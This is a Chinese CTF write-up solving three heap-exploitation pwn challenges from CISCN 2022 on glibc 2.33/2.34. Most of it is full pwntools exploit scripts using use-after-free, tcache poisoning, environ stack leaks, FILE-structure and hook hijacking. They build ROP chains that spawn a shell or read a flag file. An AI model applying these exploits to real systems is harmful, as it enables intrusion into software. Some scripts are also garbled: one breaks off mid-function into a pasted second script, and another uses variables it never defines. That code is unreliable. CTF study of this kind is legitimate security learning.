ciscn 2022 华东北分区赛pwn wp

ciscn 2022 华东北分区赛pwn wp

很遗憾的是当时比赛配环境花了很长时间(换了m1的mac 环境还没装,到了比赛前一会想起来x86_64的题目肯定会多一些,所以就拿了一个全新版win10的tp,第一次体验到了在比赛的时候下载ubuntu,装vm和pwn的环境,导致浪费了很多时间。。。。)

文章分三部分首发于csdn

duck

这个pwn是2.34下的,一开始拿到这个题目的时候吓了一跳(当时是第二次做2.34的glibc pwn),以为要像house of emma那样,分析下来之后感谢出题人高抬贵手。
一个uaf漏洞,但是是2.34下的,2.34下禁用了free_hook, malloc_hook这两个做堆题需要用到最多的hook
在这里插入图片描述
当时做题的时候上网搜了一下2.34的利用手法,总结出了两个方法,一个是借助environ算出ret的地址然后去覆盖,另一个是io利用。
这里给出3种不同的exp及利用思路

第一种攻击方法 借助environ修改edit返回地址为rop链

第一种借助environ来覆盖ret。
在2.33的时候fd会有异域加密,想要更改fd进行任意地址申请的话需要泄露出heap地址,这一题因为有uaf所以很好泄露,也很容易泄露出libc,填充满tcache即可。
留两个tcache bins,借助edit来修改fd达成任意地址申请,需要申请到environ这个地址,因为这里存放着stack地址,泄露出来之后算出edit的返回地址即可。
在这里插入图片描述
再次利用uaf申请到edit的返回地址之后修改0x000056123dd9b631为rop链即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
from pwn import *
from time import sleep

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('192.168.166.139', 58013)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'Choice: '

def add():
r.sendlineafter(menu, '1')

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Idx:', str(index))

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Idx:', str(index))

def edit(index, size, content):
r.sendlineafter(menu, '4')
r.sendlineafter('Idx:', str(index))
r.sendlineafter('Size:', str(size))
r.sendafter('Content:', content)

for i in range(9):
add()

for i in range(8):
delete(i)

show(7)
libc_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96
li('libc_addr = ' + hex(libc_addr))
show(0)
r.recvuntil('\n')
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))

libc = ELF('./libc.so.6')
libc_base = libc_addr - libc.sym['main_arena']
li('libc_base = ' + hex(libc_base))
environ = libc_base + libc.sym['environ']
li('environ = ' + hex(environ))

for i in range(5):
add() # 9 - 13

p1 = p64(key ^ environ) + p64(0)
edit(1, 0x10, p1)

add() #14
add() #15
show(15)
stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x168
li('stack_addr = ' + hex(stack_addr))

delete(9)
delete(10)
edit(10, 0x10, p64(key ^ stack_addr) + p64(0))
add() #16
add() #17
bin_sh = libc_base + libc.search(b'/bin/sh').__next__()
system_addr = libc_base + libc.sym['system']
pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()

p2 = p64(0) * 3 + p64(pop_rdi_ret) + p64(bin_sh) + p64(system_addr)
edit(17, 0x30, p2)

r.interactive()

第二种攻击方法 修改_IO_file_jumps中的_IO_new_file_overflow

第二种借助puts时会调用_IO_new_file_overflow刷新缓冲区
在这里插入图片描述
这种是笔者认为解这题最简单的方法,直接利用uaf申请到_IO_file_jumps这里修改_IO_new_file_overflow为one_gadget即可getshell

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
from pwn import *
from time import sleep

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('192.168.166.139', 58013)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'Choice: '

def add():
r.sendlineafter(menu, '1')

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Idx:', str(index))

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Idx:', str(index))

def edit(index, size, content):
r.sendlineafter(menu, '4')
r.sendlineafter('Idx:', str(index))
r.sendlineafter('Size:', str(size))
r.sendafter('Content:', content)

for i in range(9):
add()

for i in range(8):
delete(i)

show(7)
libc_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96
li('libc_addr = ' + hex(libc_addr))
show(0)
r.recvuntil('\n')
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))

libc = ELF('./libc.so.6')
libc_base = libc_addr - libc.sym['main_arena']
li('libc_base = ' + hex(libc_base))
_IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']
li('_IO_file_jumps = ' + hex(_IO_file_jumps))

for i in range(5):
add() #9 - 13

p1 = p64(key ^ _IO_file_jumps) + p64(0)
edit(1, 0x10, p1)

add() #14
add() #15

one = [0xda861, 0xda864, 0xda867]
one_gadget = one[1] + libc_base
edit(15, 0x20, p64(0) * 3 + p64(one_gadget))

r.interactive()

第三种攻击方法 伪造io结构体

这种攻击方法笔者认为是最麻烦的,和house of orange很像,把/bin/sh放到头,执行vtable的函数时,FILE结构体地址被作为参数来getshell
劫持_IO_new_file_xsputn这个函数。当然了修改_IO_new_file_overflow这个也是可以的,就是利用puts这个函数。
在这里插入图片描述
在这里插入图片描述

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
from pwn import *
from time import sleep

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('192.168.166.139', 58013)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'Choice: '

def add():
r.sendlineafter(menu, '1')

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Idx:', str(index))

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Idx:', str(index))

def edit(index, size, content):
r.sendlineafter(menu, '4')

add() #10
add() #11
for i in range(7):
delete(i) # 0 - 6

delete(7)
show(7)
libc_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96
li('libc_addr = ' + hex(libc_addr))
show(0)
r.recvuntil('\n')
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))

libc = ELF('./libc.so.6')
libc_base = libc_addr - libc.sym['main_arena']
li('libc_base = ' + hex(libc_base))

system_addr = libc_base + libc.sym['system']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
li('stdout = ' + hex(stdout))
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']

target = key ^ IO_file_jumps
li('target = ' + hex(target))
edit(6, 0x100, p64(target))
add() #12
add() #13
fake = p64(0) + p64(0)
fake += p64(libc_base + 0x83d80) + p64(libc_base + 0x84750)
fake += p64(libc_base + 0x84440) + p64(libc_base + 0x85520)
fake += p64(libc_base + 0x86600) + p64(system_addr)

delete(8)
edit(8, 0x8, p64(key ^ stdout))
add()
add()
edit(15, 0x10, b'/bin/sh\x00')
#edit(13, 0x40, fake)
r.sendlineafter(menu, '4')
sleep(1)
r.sendline('13')
sleep(1)
#r.sendline('0x40')
r.sendline('64')
sleep(1)
r.sendline(fake)
dbg()

r.interactive()
➜ duck cat ppp.py
from pwn import *
from time import sleep

context(arch='amd64', os='linux', log_level='debug')


add() #9
add() #10
add() #11
for i in range(7):
delete(i) # 0 - 6

delete(7)
show(7)
libc_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 96
li('libc_addr = ' + hex(libc_addr))
show(0)
r.recvuntil('\n')
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))

libc = ELF('./libc.so.6')
libc_base = libc_addr - libc.sym['main_arena']
li('libc_base = ' + hex(libc_base))

system_addr = libc_base + libc.sym['system']
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
li('stdout = ' + hex(stdout))
IO_file_jumps = libc_base + libc.sym['_IO_file_jumps']

target = key ^ IO_file_jumps
li('target = ' + hex(target))
edit(6, 0x100, p64(target))
add() #12
add() #13
fake = p64(0) + p64(0)
fake += p64(libc_base + 0x83d80) + p64(libc_base + 0x84750)
fake += p64(libc_base + 0x84440) + p64(libc_base + 0x85520)
fake += p64(libc_base + 0x86600) + p64(system_addr)

delete(8)
edit(8, 0x8, p64(key ^ stdout))
add()
add()
edit(15, 0x10, b'/bin/sh\x00')
#edit(13, 0x40, fake)
r.sendlineafter(menu, '4')
sleep(1)
r.sendline('13')
sleep(1)
#r.sendline('0x40')
r.sendline('64')
sleep(1)
r.sendline(fake)

r.interactive()

另外两道pwn后面再更新,第二个bigduck最简单的就是environ这个方法只不过后面的rop链变成了orw。

bigduck

这个是2.33下的,2.33下有free_hook 和 malloc_hook。这题开启了沙盒,禁用了execve
在这里插入图片描述
所以考虑orw攻击方法。这里有一个小坑点,2.33下通过unsorted bin泄露的时候,main_arena那里的低字节是\x00,所以直接show的话会show不出来。在show前利用edit将低字节改为\x01即可。最后算libc的时候 - 1即可。两种攻击思路,第一种借助environ泄露出stack然后改edit的ret为orw即可,第二种劫持hook为万能gadget(直接拿2.31的模板
另外还有一个小坑点,pop_rdx_ret直接用libc_base + libc.search(asm(‘pop rdx;ret;’)).next()会不成功,所以笔者直接用ropgadget找的
在这里插入图片描述

第一种攻击方法 借助environ

和duck一样的思路,最后的rop链改成orw即可。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('192.168.166.139', 58011)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'Choice: '

def add():
r.sendlineafter(menu, '1')

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Idx:', str(index))

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Idx:', str(index))

def edit(index, size, content):
r.sendlineafter(menu, '4')
r.sendlineafter('Idx:', str(index))
r.sendlineafter('Size:', str(size))
r.sendafter('Content:', content)

for i in range(9):
add()

for i in range(8):
delete(i)

edit(7, 0x10, b'\x01')
show(7)
main_arena_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 1 - 96
li('main_arena_addr = ' + hex(main_arena_addr))
malloc_hook = main_arena_addr - 0x10
li('malloc_hook = ' + hex(malloc_hook))
libc = ELF('./libc.so.6')
libc_base = malloc_hook - libc.sym['__malloc_hook']
free_hook = libc_base + libc.sym['__free_hook']
li('free_hook = ' + hex(free_hook))
edit(7, 0x10, b'\x00')

show(0)
r.recvuntil('\n')
key = u64(r.recv(5).ljust(8, b'\x00'))
heap_base = key << 12
li('heap_base = ' + hex(heap_base))
environ = libc_base + libc.sym['environ']
li('environ = ' + hex(environ))

for i in range(5):
add() #9-13

p1 = p64(key ^ environ) + p64(0)
edit(1, 0x10, p1)
add()#14
add()#15

show(15)
stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x138
li('stack_addr = ' + hex(stack_addr))

delete(9)
delete(10)
edit(10, 0x10, p64(key ^ stack_addr) + p64(0))
add()#16
add()#17

pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
#pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
pop_rsi_ret = libc_base + 0x000000000002a4cf
#pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
pop_rdx_ret = 0x00000000000c7f32 + libc_base
read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
flag_addr = stack_addr + 0x10


p2 = p64(0) * 2
p2 += b'./flag\x00\x00'
# open('./flag', 0)
p2 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)

# read(3, stack_addr - 0x200, 0x50)
p2 += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(stack_addr - 0x200) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)

# write(1, stack_addr - 0x200, 0x50)
p2 += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(stack_addr - 0x200) + p64(pop_rdx_ret) + p64(0x50) + p64(write_addr)

edit(17, 0x100, p2)

r.interactive()

第二种攻击方法 劫持hook为万能gadget

直接模板走就可以了,这里笔者就不说原理了,想理解原理的直接去看其他师傅关于orw的教程

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('192.168.166.139', 58011)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'Choice: '

def add():
r.sendlineafter(menu, '1')

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Idx:', str(index))

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Idx:', str(index))

def edit(index, size, content):
r.sendlineafter(menu, '4')
r.sendlineafter('Idx:', str(index))
r.sendlineafter('Size:', str(size))
r.sendafter('Content:', content)

for i in range(9):
add()

for i in range(8):
delete(i)

edit(7, 0x10, b'\x01')
show(7)
main_arena_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 1 - 96
li('main_arena_addr = ' + hex(main_arena_addr))

heap_base = key << 12
li('heap_base = ' + hex(heap_base))

for i in range(5):
add() #9-13

p1 = p64(key ^ free_hook) + p64(0)
edit(1, 0x10, p1)
add() #14
add() #15

gadget = libc_base + 0x14a0a0
# 0x000000000014a0a0: mov rdx, qword ptr [rdi + 8]; mov qword ptr [rsp], rax; call qword ptr [rdx + 0x20];
read_addr = libc_base + libc.sym['read']

edit(15, 0x8, p64(gadget))

frame = SigreturnFrame()
frame.rdi = 0
frame.rsi = free_hook
frame.rdx = 0x200
frame.rsp = free_hook + 8
frame.rip = read_addr

setcontext = libc_base + libc.sym['setcontext'] + 61

p2 = p64(0) + p64(heap_base + 0x3b0) + p64(0) * 2 + p64(setcontext) + bytes(frame)[0x28:]
edit(14, 0x100, p2)
delete(14)

open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
#pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
pop_rsi_ret = libc_base + 0x000000000002a4cf
#pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
pop_rdx_ret = 0x00000000000c7f32 + libc_base

p3 = b'./flag\x00\x00'

# open('./flag', 0)
p3 += p64(pop_rdi_ret) + p64(free_hook) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)

# read(3, free_hook + 0x200, 0x50)
p3 += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(free_hook + 0x200) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)

# write(1, free_hook + 0x200, 0x50)
p3 += p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_ret) + p64(free_hook + 0x200) + p64(pop_rdx_ret) + p64(0x50) + p64(write_addr)
r.send(p3)

r.interactive()

blue

开了沙盒
在这里插入图片描述
最简单的解法还是借助environ来控制ret地址,然后将ret改成orw链即可。这一题的关键点在于怎么泄露出environ里面的栈地址,因为show功能只能使用一次。
在这里插入图片描述
这一题的漏洞点是一次性的uaf漏洞,在666功能下
在这里插入图片描述
我们首先先借助这一次性的uaf泄露出libc。还是填满tcache,只不过下一个进unsorted bin的时候利用666这个uaf功能。
接下来思考一下如何泄露出environ里面的值,show是一次性的已经用不了。仔细思考一下不难想出利用stdout来泄露,将flags标志改掉(绕过检查),再将write_base和write_ptr & write_end改成environ和environ + 8那里的地址是不是就可以泄露出environ的值了。
在这里插入图片描述
最关键的难点解决了,接下来就是申请到stdout那里,利用overlapping即可。将一个属于之前释放进tcache bin范围的chunk链入属于unsortedbin的chunk那里。因为uaf,所以再次释放unsortedbin的那个chunk,这样的话就可以形成堆块重叠可以控制到fd进行任意地址申请。
在这里插入图片描述
粉色是两具unsortedbin合并了,蓝色是从unsortedbin分割后的chunk,而蓝色里面的黄色是属于tcache bin的chunk,形成了上图的overlapping。(这里理解一下就行,说的有一点乱)
任意地址申请到stdout那里并泄露出stack,算出add的ret,然后再利用任意地址申请到ret,在ret这里放好布置好的orw链即可get flag,exp如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import *

context(arch='amd64', os='linux', log_level='debug')

file_name = './pwn'

li = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')

context.terminal = ['tmux','splitw','-h']

debug = 0
if debug:
r = remote('192.168.166.139', 58012)
else:
r = process(file_name)

elf = ELF(file_name)

def dbg():
gdb.attach(r)

menu = 'Choice: '

def add(size, content):
r.sendlineafter(menu, '1')
r.sendlineafter('Please input size: ', str(size))
r.sendafter('Please input content: ', content)

def delete(index):
r.sendlineafter(menu, '2')
r.sendlineafter('Please input idx: ', str(index))

def show(index):
r.sendlineafter(menu, '3')
r.sendlineafter('Please input idx: ', str(index))


for i in range(9):
add(0x80, 'aaaa')

add(0x80, 'aaaa')

for i in range(7):
delete(i)

r.sendlineafter(menu, '666')
r.sendlineafter('Please input idx: ', '8')
show(8)

show_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00'))
li('show_addr = ' + hex(show_addr))

libc_base = show_addr - 0x1ecbe0
libc = ELF('./libc.so.6')
stdout = libc_base + libc.sym['_IO_2_1_stdout_']
li('stdout = ' + hex(stdout))
environ = libc_base + libc.sym['environ']
li('environ = ' + hex(environ))

delete(7)
add(0x80, 'aaaa') #0
delete(8)

add(0x70, 'bbbb') #1
p1 = p64(0) + p64(0x91) + p64(stdout)
add(0x70, p1) # 2
add(0x80, 'cccc') # 3

p2 = p64(0xfbad1800) + p64(0) * 3 + p64(environ) + p64(environ + 8) * 2
add(0x80, p2) #4

stack_addr = u64(r.recvuntil('\x7f')[-6:].ljust(8, b'\x00')) - 0x128
li('stack_addr = ' + hex(stack_addr))

delete(3)
delete(2)

p3 = p64(0) + p64(0x91) + p64(stack_addr)
add(0x70, p3)#2
add(0x80, 'dddd') #3

read_addr = libc_base + libc.sym['read']
open_addr = libc_base + libc.sym['open']
write_addr = libc_base + libc.sym['write']
#pop_rdi_ret = libc_base + libc.search(asm('pop rdi;ret;')).__next__()
pop_rdi_ret = libc_base + 0x0000000000023b6a
#pop_rsi_ret = libc_base + libc.search(asm('pop rsi;ret;')).__next__()
pop_rsi_ret = libc_base +0x000000000002601f
#pop_rdx_ret = libc_base + libc.search(asm('pop rdx;ret;')).__next__()
pop_rdx_ret = 0x0000000000142c92 + libc_base

flag_addr = stack_addr
ppp = stack_addr + 0x200

p4 = b'./flag\x00\x00'

# open('./flag', 0)
p4 += p64(pop_rdi_ret) + p64(flag_addr) + p64(pop_rsi_ret) + p64(0) + p64(open_addr)

# read(3, ppp, 0x50)
p4 += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(ppp) + p64(pop_rdx_ret) + p64(0x50) + p64(read_addr)

# puts(ppp)
puts_addr = libc_base + libc.sym['puts']
p4 += p64(pop_rdi_ret) + p64(ppp) + p64(puts_addr)
add(0x80, p4)

r.interactive()

这一题肯定不止这一种方法,也可以攻击_rtld_global 这个结构体,将stdout里面的vtable劫持一下,orw链放到该放的地方,然后触发即可。比借助environ这个方法麻烦一点,笔者这一题就不再深挖了(glibc这种pwn笔者不想陷得太深,看到有意思的题目学习一下就行了)